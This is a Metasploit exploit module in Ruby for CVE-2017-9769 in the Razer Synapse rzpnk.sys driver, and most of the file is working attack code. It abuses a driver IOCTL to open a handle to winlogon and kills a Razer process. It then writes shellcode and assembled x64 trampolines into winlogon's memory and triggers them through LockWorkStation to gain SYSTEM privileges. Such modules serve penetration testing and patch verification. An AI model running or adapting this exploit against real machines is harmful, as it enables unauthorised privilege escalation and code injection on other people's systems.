##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/local/windows_kernel'
require 'rex'
require 'metasm'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Local::WindowsKernel
  include Msf::Post::Windows::Priv

  # the max size our hook can be, used before it's generated for the allocation
  HOOK_STUB_MAX_LENGTH = 256

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Razer Synapse rzpnk.sys ZwOpenProcess',
      'Description'    => %q{
        A vulnerability exists in the latest version of Razer Synapse
        (v2.20.15.1104 as of the day of disclosure) which can be leveraged
        locally by a malicious application to elevate its privileges to those of
        NT_AUTHORITY\SYSTEM. The vulnerability lies in a specific IOCTL handler
        in the rzpnk.sys driver that passes a PID specified by the user to
        ZwOpenProcess. This can be issued by an application to open a handle to
        an arbitrary process with the necessary privileges to allocate, read and
        write memory in the specified process.

        This exploit leverages this vulnerability to open a handle to the
        winlogon process (which runs as NT_AUTHORITY\SYSTEM) and infect it by
        installing a hook to execute attacker controlled shellcode. This hook is
        then triggered on demand by calling user32!LockWorkStation(), resulting
        in the attacker's payload being executed with the privileges of the
        infected winlogon process. In order for the issued IOCTL to work, the
        RazerIngameEngine.exe process must not be running. This exploit will
        check if it is, and attempt to kill it as necessary.

        The vulnerable software can be found here:
        https://www.razerzone.com/synapse/. No Razer hardware needs to be
        connected in order to leverage this vulnerability.

        This exploit is not opsec-safe due to the user being logged out as part
        of the exploitation process.
      },
      'Author'         => 'Spencer McIntyre',
      'License'        => MSF_LICENSE,
      'References'     => [
        ['CVE', '2017-9769'],
        ['URL', 'https://warroom.securestate.com/cve-2017-9769/']
      ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Tested on (64 bits):
          # * Windows 7 SP1
          # * Windows 10.0.10586
          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC'   => 'thread',
          'WfsDelay'   => 20
        },
      'DefaultTarget'  => 0,
      'Privileged'     => true,
      'DisclosureDate' => 'Mar 22 2017'))
  end

  def check
    # Validate that the driver has been loaded and that
    # the version is the same as the one expected
    client.sys.config.getdrivers.each do |d|
      if d[:basename].downcase == 'rzpnk.sys'
        expected_checksum = 'b4598c05d5440250633e25933fff42b0'
        target_checksum = client.fs.file.md5(d[:filename])

        if expected_checksum == Rex::Text.to_hex(target_checksum, '')
          return Exploit::CheckCode::Appears
        else
          return Exploit::CheckCode::Detected
        end
      end
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    if check == Exploit::CheckCode::Safe
      fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
    end

    if session.platform != 'windows'
      fail_with(Failure::NoTarget, 'This exploit requires a native Windows meterpreter session')
    elsif session.arch != ARCH_X64
      fail_with(Failure::NoTarget, 'This exploit only supports x64 Windows targets')
    end

    pid = session.sys.process['RazerIngameEngine.exe']
    if pid
      # if this process is running, the IOCTL won't work but the process runs
      # with user privileges so we can kill it
      print_status("Found RazerIngameEngine.exe pid: #{pid}, killing it...")
      session.sys.process.kill(pid)
    end

    pid = session.sys.process['winlogon.exe']
    print_status("Found winlogon pid: #{pid}")

    handle = get_handle(pid)
    fail_with(Failure::NotVulnerable, 'Failed to open the process handle') if handle.nil?
    vprint_status('Successfully opened a handle to the winlogon process')

    winlogon = session.sys.process.new(pid, handle)
    allocation_size = payload.encoded.length + HOOK_STUB_MAX_LENGTH
    shellcode_address = winlogon.memory.allocate(allocation_size)
    winlogon.memory.protect(shellcode_address)
    print_good("Allocated #{allocation_size} bytes in winlogon at 0x#{shellcode_address.to_s(16)}")
    winlogon.memory.write(shellcode_address, payload.encoded)
    hook_stub_address = shellcode_address + payload.encoded.length

    result = session.railgun.kernel32.LoadLibraryA('user32')
    fail_with(Failure::Unknown, 'Failed to get a handle to user32.dll') if result['return'] == 0
    user32_handle = result['return']

    # resolve and backup the functions that we'll install trampolines in
    user32_trampolines = {}  # address => original chunk
    user32_functions = ['LockWindowStation']
    user32_functions.each do |function|
      address = get_address(user32_handle, function)
      winlogon.memory.protect(address)
      user32_trampolines[function] = {
        address:  address,
        original: winlogon.memory.read(address, 24)
      }
    end

    # generate and install the hook asm
    hook_stub = get_hook(shellcode_address, user32_trampolines)
    fail_with(Failure::Unknown, 'Failed to generate the hook stub') if hook_stub.nil?
    # if this happens, there was a programming error
    fail_with(Failure::Unknown, 'The hook stub is too large, please update HOOK_STUB_MAX_LENGTH') if hook_stub.length > HOOK_STUB_MAX_LENGTH

    winlogon.memory.write(hook_stub_address, hook_stub)
    vprint_status("Wrote the #{hook_stub.length} byte hook stub in winlogon at 0x#{hook_stub_address.to_s(16)}")

    # install the asm trampolines to jump to the hook
    user32_trampolines.each do |function, trampoline_info|
      address = trampoline_info[:address]
      trampoline = Metasm::Shellcode.assemble(Metasm::X86_64.new, %{
        mov  rax, 0x#{address.to_s(16)}
        push rax
        mov  rax, 0x#{hook_stub_address.to_s(16)}
        jmp  rax
      }).encode_string
      winlogon.memory.write(address, trampoline)
      vprint_status("Installed user32!#{function} trampoline at 0x#{address.to_s(16)}")
    end

    session.railgun.user32.LockWorkStation()
    session.railgun.kernel32.CloseHandle(handle)
  end

  def get_address(dll_handle, function_name)
    result = session.railgun.kernel32.GetProcAddress(dll_handle, function_name)
    fail_with(Failure::Unknown, 'Failed to get function address') if result['return'] == 0
    result['return']
  end

  # this is where the actual vulnerability is leveraged
  def get_handle(pid)
    handle = open_device("\\\\.\\47CD78C9-64C3-47C2-B80F-677B887CF095", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
    return nil unless handle
    vprint_status('Successfully opened a handle to the driver')

    buffer = [pid, 0].pack(target.arch.first == ARCH_X64 ? 'QQ' : 'LL')

    session.railgun.add_function('ntdll', 'NtDeviceIoControlFile', 'DWORD',[
      ['DWORD',  'FileHandle',         'in' ],
      ['DWORD',  'Event',              'in' ],
      ['LPVOID', 'ApcRoutine',         'in' ],
      ['LPVOID', 'ApcContext',         'in' ],
      ['PDWORD', 'IoStatusBlock',      'out'],
      ['DWORD',  'IoControlCode',      'in' ],
      ['PBLOB',  'InputBuffer',        'in' ],
      ['DWORD',  'InputBufferLength',  'in' ],
      ['PBLOB',  'OutputBuffer',       'out'],
      ['DWORD',  'OutputBufferLength', 'in' ],
    ])
    result = session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x22a050, buffer, buffer.length, buffer.length, buffer.length)
    return nil if result['return'] != 0
    session.railgun.kernel32.CloseHandle(handle)

    result['OutputBuffer'].unpack(target.arch.first == ARCH_X64 ? 'QQ' : 'LL')[1]
  end

  def get_hook(shellcode_address, restore)
    dll_handle = session.railgun.kernel32.GetModuleHandleA('kernel32')['return']
    return nil if dll_handle == 0
    create_thread_address = get_address(dll_handle, 'CreateThread')

    stub = %{
      call main
      ; restore the functions where the trampolines were installed
      push rbx
    }

    restore.each do |function, trampoline_info|
      original = trampoline_info[:original].unpack('Q*')
      stub << "mov  rax, 0x#{trampoline_info[:address].to_s(16)}"
      original.each do |chunk|
        stub << %{
          mov  rbx, 0x#{chunk.to_s(16)}
          mov  qword ptr ds:[rax], rbx
          add  rax, 8
        }
      end
    end

    stub << %{
      pop  rbx
      ret

      main:
      ; backup registers we're going to mangle
      push r9
      push r8
      push rdx
      push rcx

      ; setup the arguments for the call to CreateThread
      xor  rax, rax
      push rax                                      ; lpThreadId
      push rax                                      ; dwCreationFlags
      xor  r9, r9                                   ; lpParameter
      mov  r8, 0x#{shellcode_address.to_s(16)}      ; lpStartAddress
      xor  rdx, rdx                                 ; dwStackSize
      xor  rcx, rcx                                 ; lpThreadAttributes
      mov  rax, 0x#{create_thread_address.to_s(16)} ; &CreateThread

      call rax
      add  rsp, 16

      ; restore arguments that were mangled
      pop  rcx
      pop  rdx
      pop  r8
      pop  r9
      ret
    }
    Metasm::Shellcode.assemble(Metasm::X86_64.new, stub).encode_string
  end
end